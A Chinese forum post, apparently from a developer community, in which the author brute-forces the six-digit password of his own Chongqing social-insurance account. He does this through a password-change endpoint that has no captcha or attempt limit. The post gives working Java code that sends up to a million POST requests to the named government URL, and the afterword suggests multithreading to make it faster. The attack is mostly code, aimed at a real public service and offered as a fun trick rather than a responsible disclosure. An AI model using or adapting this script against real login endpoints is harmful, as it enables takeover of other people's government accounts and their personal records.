一次跟社保局的碰撞试验

本贴最后更新于 2773 天前,其中的信息可能已经天翻地覆

  昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。

  可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知道社保查询密码。于是我发微信问了下我们 HR 社保情况,谁知道我们美丽大方温柔漂亮的 HR 居然叫我直接联系第三方参保方,也就是重庆中智。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。我大概周末这群人可能是不上班的,可是俺妈催得紧咋办呢。

  所以我索性打电话给重庆社保局,看看能不能重置我的登录密码。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。这个就有点绝望了,各位大佬们都是要休周末的,我有点绝望。

  当我百无聊赖的点着登录界面,胡乱试试我平时喜欢用的密码的时候,我在想,为什么不来一场激烈的碰撞。你看看 6 位数的数字密码。排列组合也就 1000000 种可能而已,学这个行业,不能白瞎了呀,区区官方网站,又岂能奈我何,所以我打算去 gayhub 上搜一搜验证码的破解,就这破验证码做得,不是随随便便就可以搞定的吗。

  还没准备搜,看到图中有个修改密码的选项,于是就点了,结果。。。。是个伪按钮,根本点不动,什么都没有发生,我一想这不可能啊,好歹是官方的网站,怎么可能放个如此难看的按钮在这里摆着,要做样子也要摆个好看的不是,这么难看的按钮,肯定是有用的。于是结合我在 TCL 的经历,我觉得这个按钮应该只有在 ie8 以及以下的浏览器才能生效,but 我总不能去下载一个 ie8 吧。

  我觉得试试我的前端水准,F12 按下去,

<a onclick="changePwd();;;" style="margin-left: 10px; text-decoration: underline;">修改个人查询密码</a>

  我也不知道这个三个分号是个什么意思,所以我顺便找到了 changePwd()的函数

function changePwd() {
		var url = "/ggfw/pages/wxcx/grmmgl.jsp";
		window.showModalDialog(url, this,
			"center:1;dialogWidth:700px;dialogHeight:500px;");
}

  所以搞了半天,这个只是彪出个弹窗而已,将链接地址复制到浏览器

 

  如此清新的界面,不禁让我感到一丝尊敬,没有了验证码的干扰,真是让我无比兴奋,输入了正确的原文,然后点击提交,F12,我就看到了我想看到的东西,也就是 http 的 header


  可以看到这个平凡到不能在平凡的请求,几乎没有任何添加剂,简直是完美。

  开始我的编程之旅,就用这个修改密码的链接,还省去了我去下载和验证破解验证码的代码的过程,这个样简单的碰撞密码的代码,我一个小时能写一打儿

public static String Post(String strURL, String params) {  
        try {  
            URL url = new URL(strURL);// 创建连接  
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setDoOutput(true);  
            connection.setDoInput(true);  
            connection.setUseCaches(false);  
            connection.setInstanceFollowRedirects(true);  
            connection.setRequestMethod("POST"); // 设置请求方式  
            connection.setReadTimeout(100);
            connection.connect();  
            OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
            out.append(params);  
            out.flush();  
            out.close();  
            
            InputStream is = connection.getInputStream(); 

            byte\[\] temp = new byte\[connection.getContentLength()\];  
            is.read(temp);
            String result = new String(temp, "UTF-8"); // utf-8编码  
            return result;  
  
        } catch (IOException e) {  
        	return "IOException";
        }
    } 

 以下是解析成字符串

public static String getPwdString(int index) {
    	int length = String.valueOf(index).length();
    	switch (length) {
			case 1:
				return "00000"+index;
			case 2:
				return "0000"+index;
			case 3:
				return "000"+index;
			case 4:
				return "00"+index;
			case 5:
				return "0"+index;
			case 6:
				return ""+index;
			default:
				return "";
		}
    }
``` 

以下是主函数

public static void main(String[] args) throws InterruptedException {
String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
String urlpara = "bh=50010********45***5&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";

	for(int i=0;i<1000000;i++) {
		String pwdd = getPwdString(i);
		if(pwdd.equals("")) {
			System.out.println("获取密码出错");
			System.exit(0);
		}
		String result = Post(url,urlpara.replace("pwd", pwdd));
		while("IOException".equals(result)) {
			result = Post(url,urlpara.replace("pwd", pwdd));
		}
		System.out.println(i);
		Bean bean = JSONUtil.json2Object(result, Bean.class);
		if(bean.getCode()!=0) {
			System.out.println("设置成功");
			System.exit(0);
		}
	}
}

于是在一段时间后,程序退出了,设置密码成功,我用我的新密码登录,果然就通过了。觉得很有意思,在此分享。  

  后记,这个代码有很大的提升空间,你要知道,请求一百万次http请求还是很费时间的,如果能搞成多线程的话,将会非常完美,也许10分钟就能出结果,由于我目的已经达到了,所以也就没有去接着研究,而且写多线程的时间,也许我答案已经找到了,毕竟如果密码是1开头或者0开头的话,就会很快。

  以上,分享给各位
  • 安全

    安全永远都不是一个小问题。

    202 引用 • 818 回帖
  • 社保
    3 引用 • 78 回帖
  • 程序员

    程序员是从事程序开发、程序维护的专业人员。

    599 引用 • 3541 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • fu123

    源码来能看看吗,楼主?

    1 回复
  • 其他回帖
  • wenandlu
    作者

    社保去年就开始交了,但是社保卡一直没有,去查又是交了的,也不知道为啥,而且社保卡号码不是身份证号码,因为身份证后六位我试过了,不正确

    1 回复
  • wenandlu
    作者

    重庆社保登录失败一定次数也会不让登录,但是让我找到了 bug,就是修改密码没有限制

  • yangyujiao

    你是因为刚缴纳,社保卡还没下来吗?
    不然怎么会缴纳了社保,没有卡呢。

    另外社保卡号码就是身份证号码啊。

    1 回复
  • 查看全部回帖

推荐标签 标签

  • Gitea

    Gitea 是一个开源社区驱动的轻量级代码托管解决方案,后端采用 Go 编写,采用 MIT 许可证。

    5 引用 • 16 回帖 • 3 关注
  • OneDrive
    2 引用 • 3 关注
  • Access
    1 引用 • 3 回帖 • 14 关注
  • TGIF

    Thank God It's Friday! 感谢老天,总算到星期五啦!

    293 引用 • 4496 回帖 • 688 关注
  • Kubernetes

    Kubernetes 是 Google 开源的一个容器编排引擎,它支持自动化部署、大规模可伸缩、应用容器化管理。

    119 引用 • 54 回帖
  • 架构

    我们平时所说的“架构”主要是指软件架构,这是有关软件整体结构与组件的抽象描述,用于指导软件系统各个方面的设计。另外还有“业务架构”、“网络架构”、“硬件架构”等细分领域。

    146 引用 • 442 回帖
  • Caddy

    Caddy 是一款默认自动启用 HTTPS 的 HTTP/2 Web 服务器。

    10 引用 • 54 回帖 • 174 关注
  • 快应用

    快应用 是基于手机硬件平台的新型应用形态;标准是由主流手机厂商组成的快应用联盟联合制定;快应用标准的诞生将在研发接口、能力接入、开发者服务等层面建设标准平台;以平台化的生态模式对个人开发者和企业开发者全品类开放。

    15 引用 • 127 回帖
  • Outlook
    1 引用 • 5 回帖
  • 面试

    面试造航母,上班拧螺丝。多面试,少加班。

    327 引用 • 1395 回帖
  • CodeMirror
    2 引用 • 17 回帖 • 197 关注
  • 电影

    这是一个不能说的秘密。

    125 引用 • 610 回帖
  • GitLab

    GitLab 是利用 Ruby 一个开源的版本管理系统,实现一个自托管的 Git 项目仓库,可通过 Web 界面操作公开或私有项目。

    46 引用 • 72 回帖
  • Notion

    Notion - The all-in-one workspace for your notes, tasks, wikis, and databases.

    10 引用 • 80 回帖 • 1 关注
  • HBase

    HBase 是一个分布式的、面向列的开源数据库,该技术来源于 Fay Chang 所撰写的 Google 论文 “Bigtable:一个结构化数据的分布式存储系统”。就像 Bigtable 利用了 Google 文件系统所提供的分布式数据存储一样,HBase 在 Hadoop 之上提供了类似于 Bigtable 的能力。

    17 引用 • 6 回帖 • 72 关注
  • 前端

    前端技术一般分为前端设计和前端开发,前端设计可以理解为网站的视觉设计,前端开发则是网站的前台代码实现,包括 HTML、CSS 以及 JavaScript 等。

    248 引用 • 1342 回帖
  • 支付宝

    支付宝是全球领先的独立第三方支付平台,致力于为广大用户提供安全快速的电子支付/网上支付/安全支付/手机支付体验,及转账收款/水电煤缴费/信用卡还款/AA 收款等生活服务应用。

    29 引用 • 347 回帖 • 2 关注
  • 知乎

    知乎是网络问答社区,连接各行各业的用户。用户分享着彼此的知识、经验和见解,为中文互联网源源不断地提供多种多样的信息。

    10 引用 • 66 回帖
  • C++

    C++ 是在 C 语言的基础上开发的一种通用编程语言,应用广泛。C++ 支持多种编程范式,面向对象编程、泛型编程和过程化编程。

    110 引用 • 153 回帖
  • WebClipper

    Web Clipper 是一款浏览器剪藏扩展,它可以帮助你把网页内容剪藏到本地。

    3 引用 • 9 回帖 • 3 关注
  • GitHub

    GitHub 于 2008 年上线,目前,除了 Git 代码仓库托管及基本的 Web 管理界面以外,还提供了订阅、讨论组、文本渲染、在线文件编辑器、协作图谱(报表)、代码片段分享(Gist)等功能。正因为这些功能所提供的便利,又经过长期的积累,GitHub 的用户活跃度很高,在开源世界里享有深远的声望,并形成了社交化编程文化(Social Coding)。

    213 引用 • 2044 回帖
  • IPFS

    IPFS(InterPlanetary File System,星际文件系统)是永久的、去中心化保存和共享文件的方法,这是一种内容可寻址、版本化、点对点超媒体的分布式协议。请浏览 IPFS 入门笔记了解更多细节。

    20 引用 • 245 回帖 • 249 关注
  • Hibernate

    Hibernate 是一个开放源代码的对象关系映射框架,它对 JDBC 进行了非常轻量级的对象封装,使得 Java 程序员可以随心所欲的使用对象编程思维来操纵数据库。

    39 引用 • 103 回帖 • 740 关注
  • 职场

    找到自己的位置,萌新烦恼少。

    127 引用 • 1708 回帖 • 1 关注
  • NetBeans

    NetBeans 是一个始于 1997 年的 Xelfi 计划,本身是捷克布拉格查理大学的数学及物理学院的学生计划。此计划延伸而成立了一家公司进而发展这个商用版本的 NetBeans IDE,直到 1999 年 Sun 买下此公司。Sun 于次年(2000 年)六月将 NetBeans IDE 开源,直到现在 NetBeans 的社群依然持续增长。

    78 引用 • 102 回帖 • 724 关注
  • V2Ray
    1 引用 • 15 回帖 • 4 关注
  • DevOps

    DevOps(Development 和 Operations 的组合词)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。

    59 引用 • 25 回帖 • 5 关注